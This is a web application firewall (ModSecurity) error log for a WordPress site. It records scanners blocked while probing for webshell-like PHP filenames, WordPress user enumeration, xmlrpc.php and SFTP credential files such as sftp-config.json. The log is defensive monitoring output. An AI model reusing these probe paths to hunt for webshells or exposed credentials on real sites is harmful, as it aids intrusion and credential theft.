[Thu Mar 26 20:57:28.507376 2026] [:error] [pid 31778:tid 31793] [client 20.240.134.170:8834] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acUtOA3kybI2o-xasmAaZgAAAcA"]
[Thu Mar 26 20:57:29.420351 2026] [:error] [pid 31670:tid 31690] [client 20.240.134.170:57739] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rithin.php"] [unique_id "acUtOTXVthXxCnWjOTTGhAAAAVI"]
[Thu Mar 26 20:57:30.155954 2026] [:error] [pid 31778:tid 31811] [client 20.240.134.170:65275] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acUtOg3kybI2o-xasmAaZwAAAdI"]
[Thu Mar 26 20:57:31.242217 2026] [:error] [pid 31780:tid 31831] [client 20.240.134.170:58909] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acUtO5JDwZsy5O4ZXEi_cgAAAgo"]
[Thu Mar 26 20:57:32.720471 2026] [:error] [pid 31670:tid 31696] [client 20.240.134.170:46952] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acUtPDXVthXxCnWjOTTGjwAAAVg"]
[Thu Mar 26 20:57:33.370594 2026] [:error] [pid 31670:tid 31675] [client 20.240.134.170:30785] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "acUtPTXVthXxCnWjOTTGkQAAAUM"]
[Thu Mar 26 20:57:34.296822 2026] [:error] [pid 31670:tid 31682] [client 20.240.134.170:29470] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "acUtPjXVthXxCnWjOTTGmAAAAUo"]
[Thu Mar 26 20:57:35.063251 2026] [:error] [pid 31670:tid 31689] [client 20.240.134.170:8883] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "acUtPzXVthXxCnWjOTTGmgAAAVE"]
[Thu Mar 26 20:57:36.179283 2026] [:error] [pid 31670:tid 31679] [client 20.240.134.170:16822] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "acUtQDXVthXxCnWjOTTGoAAAAUc"]
[Thu Mar 26 20:57:37.464405 2026] [:error] [pid 31780:tid 31824] [client 20.240.134.170:57758] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "acUtQZJDwZsy5O4ZXEi_egAAAgQ"]
[Thu Mar 26 20:57:38.573345 2026] [:error] [pid 31670:tid 31691] [client 20.240.134.170:63465] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acUtQjXVthXxCnWjOTTGpQAAAVM"]
[Thu Mar 26 20:57:39.496087 2026] [:error] [pid 60829:tid 60836] [client 20.240.134.170:54113] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acUtQ_TdjHKeZokybaTTcwAAAQU"]
[Thu Mar 26 20:57:40.325288 2026] [:error] [pid 19818:tid 19831] [client 20.240.134.170:42037] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acUtRMzaSnm3d1BeM5UtgAAAAMs"]
[Thu Mar 26 20:57:41.182019 2026] [:error] [pid 31780:tid 31827] [client 20.240.134.170:29457] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "acUtRZJDwZsy5O4ZXEi_fQAAAgc"]
[Thu Mar 26 20:57:41.989656 2026] [:error] [pid 19818:tid 19834] [client 20.240.134.170:58932] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "acUtRczaSnm3d1BeM5UthAAAAM4"]
[Thu Mar 26 20:57:42.855436 2026] [:error] [pid 31780:tid 31844] [client 20.240.134.170:41991] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "acUtRpJDwZsy5O4ZXEi_gAAAAhc"]
[Thu Mar 26 20:57:43.677361 2026] [:error] [pid 60829:tid 60855] [client 20.240.134.170:27646] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "acUtR_TdjHKeZokybaTTdgAAARg"]
[Thu Mar 26 20:57:44.500370 2026] [:error] [pid 19818:tid 19825] [client 20.240.134.170:41988] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-freya.php"] [unique_id "acUtSMzaSnm3d1BeM5UtiQAAAMU"]
[Thu Mar 26 20:57:45.676498 2026] [:error] [pid 19818:tid 19837] [client 20.240.134.170:41997] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "acUtSczaSnm3d1BeM5UtjAAAANE"]
[Thu Mar 26 20:57:46.856454 2026] [:error] [pid 31778:tid 31817] [client 20.240.134.170:64280] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "acUtSg3kybI2o-xasmAadwAAAdg"]
[Thu Mar 26 20:57:48.408419 2026] [:error] [pid 31670:tid 31693] [client 20.240.134.170:64265] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "acUtTDXVthXxCnWjOTTGswAAAVU"]
[Thu Mar 26 20:57:49.792677 2026] [:error] [pid 31780:tid 31824] [client 20.240.134.170:57780] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/X7x.php"] [unique_id "acUtTZJDwZsy5O4ZXEi_jgAAAgQ"]
[Thu Mar 26 20:57:50.491041 2026] [:error] [pid 60829:tid 60832] [client 20.240.134.170:54554] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acUtTvTdjHKeZokybaTTeAAAAQE"]
[Thu Mar 26 20:57:51.762206 2026] [:error] [pid 31670:tid 31695] [client 20.240.134.170:51885] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acUtTzXVthXxCnWjOTTGuwAAAVc"]
[Thu Mar 26 20:57:52.572410 2026] [:error] [pid 19712:tid 19781] [client 20.240.134.170:26868] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acUtUNWhKhRNqm23vFMo_QAAAIU"]
[Thu Mar 26 20:57:53.601329 2026] [:error] [pid 19710:tid 19729] [client 20.240.134.170:63443] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acUtUQVEWP8Ar68Njk4QbgAAAAc"]
[Thu Mar 26 20:57:54.691444 2026] [:error] [pid 31670:tid 31693] [client 20.240.134.170:27598] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acUtUjXVthXxCnWjOTTGwAAAAVU"]
[Thu Mar 26 20:57:56.494114 2026] [:error] [pid 19818:tid 19831] [client 20.240.134.170:24014] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acUtVMzaSnm3d1BeM5UtmwAAAMs"]
[Thu Mar 26 20:57:57.477053 2026] [:error] [pid 31717:tid 31731] [client 20.240.134.170:8845] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acUtVb-SCF7YDISDX4_0_gAAAYk"]
[Thu Mar 26 20:57:58.323194 2026] [:error] [pid 31778:tid 31815] [client 20.240.134.170:58899] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acUtVg3kybI2o-xasmAafwAAAdY"]
[Thu Mar 26 20:58:00.153659 2026] [:error] [pid 31717:tid 31740] [client 20.240.134.170:8893] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acUtWL-SCF7YDISDX4_1AgAAAZI"]
[Thu Mar 26 20:58:01.458083 2026] [:error] [pid 60829:tid 60844] [client 20.240.134.170:16799] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acUtWfTdjHKeZokybaTTfgAAAQ0"]
[Thu Mar 26 20:58:02.396887 2026] [:error] [pid 31780:tid 31839] [client 20.240.134.170:61160] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acUtWpJDwZsy5O4ZXEi_lAAAAhI"]
[Thu Mar 26 20:58:03.694708 2026] [:error] [pid 31717:tid 31735] [client 20.240.134.170:42043] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acUtW7-SCF7YDISDX4_1BQAAAY0"]
[Thu Mar 26 20:58:05.622517 2026] [:error] [pid 19818:tid 19843] [client 20.240.134.170:27601] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "acUtXczaSnm3d1BeM5UtqwAAANc"]
[Thu Mar 26 20:58:06.653783 2026] [:error] [pid 19710:tid 19733] [client 20.240.134.170:8875] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "acUtXgVEWP8Ar68Njk4QdQAAAAs"]
[Thu Mar 26 20:58:08.317834 2026] [:error] [pid 19710:tid 19734] [client 20.240.134.170:26834] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "acUtYAVEWP8Ar68Njk4QdgAAAAw"]
[Thu Mar 26 20:58:09.751898 2026] [:error] [pid 31717:tid 31740] [client 20.240.134.170:58886] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "acUtYb-SCF7YDISDX4_1CgAAAZI"]
[Thu Mar 26 20:58:10.610496 2026] [:error] [pid 31670:tid 31686] [client 20.240.134.170:42012] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acUtYjXVthXxCnWjOTTGyQAAAU4"]
[Thu Mar 26 20:58:11.362937 2026] [:error] [pid 60829:tid 60844] [client 20.240.134.170:64299] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acUtY_TdjHKeZokybaTThwAAAQ0"]
[Thu Mar 26 20:58:12.103937 2026] [:error] [pid 19818:tid 19829] [client 20.240.134.170:26825] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acUtZMzaSnm3d1BeM5UtsgAAAMk"]
[Thu Mar 26 20:58:13.199681 2026] [:error] [pid 31717:tid 31738] [client 20.240.134.170:58883] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "acUtZb-SCF7YDISDX4_1DgAAAZA"]
[Thu Mar 26 20:58:14.252133 2026] [:error] [pid 31778:tid 31799] [client 20.240.134.170:27609] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acUtZg3kybI2o-xasmAaiAAAAcY"]
[Thu Mar 26 20:58:15.205749 2026] [:error] [pid 31717:tid 31723] [client 20.240.134.170:24031] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acUtZ7-SCF7YDISDX4_1EAAAAYE"]
[Thu Mar 26 20:58:15.907202 2026] [:error] [pid 31670:tid 31683] [client 20.240.134.170:27597] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acUtZzXVthXxCnWjOTTGzgAAAUs"]
[Thu Mar 26 20:58:16.980638 2026] [:error] [pid 31670:tid 31672] [client 20.240.134.170:26838] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acUtaDXVthXxCnWjOTTG0wAAAUA"]
[Thu Mar 26 20:58:17.988321 2026] [:error] [pid 31670:tid 31674] [client 20.240.134.170:4709] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "acUtaTXVthXxCnWjOTTG2AAAAUI"]
[Thu Mar 26 21:01:22.527382 2026] [:error] [pid 19711:tid 19767] [client 152.58.56.105:64641] [client 152.58.56.105] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acUuImj3l1y81GYfluSgfwAAAFI"]
[Thu Mar 26 21:03:13.899881 2026] [:error] [pid 19710:tid 19738] [client 152.58.56.105:49661] [client 152.58.56.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.56.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acUukQVEWP8Ar68Njk4RgwAAABA"]
[Thu Mar 26 23:45:59.551460 2026] [:error] [pid 31778:tid 31794] [client 43.157.191.20:60822] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acVUtw3kybI2o-xasmAwgAAAAcE"]
[Fri Mar 27 00:11:42.401417 2026] [:error] [pid 31780:tid 31844] [client 101.33.66.34:34932] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acVavpJDwZsy5O4ZXEjb9QAAAhc"]
[Fri Mar 27 01:38:39.294818 2026] [:error] [pid 44058:tid 44061] [client 185.169.4.152:58011] [client 185.169.4.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "acVvH-qp9u5CVRGdZPH_3wAAAIE"]
[Fri Mar 27 01:38:40.005581 2026] [:error] [pid 44058:tid 44069] [client 185.169.4.152:55647] [client 185.169.4.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "acVvIOqp9u5CVRGdZPH_4wAAAIk"]
[Fri Mar 27 02:40:07.887121 2026] [:error] [pid 62147:tid 62465] [client 177.93.66.129:17573] [client 177.93.66.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.93.66.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acV9hxPjxn06mcLazN6bWgAAAAU"]
[Fri Mar 27 02:50:42.432738 2026] [:error] [pid 62551:tid 62562] [client 177.93.66.129:17659] [client 177.93.66.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acWAAoQvFHgfE1g4p7Cp_QAAAcg"]
